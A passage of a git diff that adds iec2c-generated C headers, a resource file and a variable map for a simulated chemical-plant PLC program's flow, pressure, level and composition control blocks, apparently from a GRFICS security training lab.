__SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; 